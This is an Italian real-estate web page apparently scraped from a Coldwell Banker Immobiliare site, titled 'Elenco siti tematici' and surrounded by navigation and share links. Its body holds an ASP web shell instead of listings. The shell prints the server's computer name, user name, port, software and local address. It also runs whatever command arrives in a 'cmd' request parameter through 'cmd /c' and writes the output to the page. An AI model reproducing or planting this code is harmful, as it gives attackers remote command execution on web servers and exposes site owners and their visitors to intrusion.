Home Page  >>  Documentazione  >>  Elenco siti tematici
Stampa questa pagina
Elenco siti tematici
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %>
<%= "\" & oScriptNet.ComputerName & "" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>

The server’s port: <%Response.Write(Request.ServerVariables("server_port"))%>

The server’s software: <%Response.Write(Request.ServerVariables("server_software"))%>

The server’s software: <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> <% szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir)%>


Condividi il contenuto
Segnala  Coldwell Banker Immobiliare per email
Segnala  Coldwell Banker Immobiliare su delicious
Segnala  Coldwell Banker Immobiliare su digg
Segnala  Coldwell Banker Immobiliare su linkedin
Segnala  Coldwell Banker Immobiliare su stumbleupon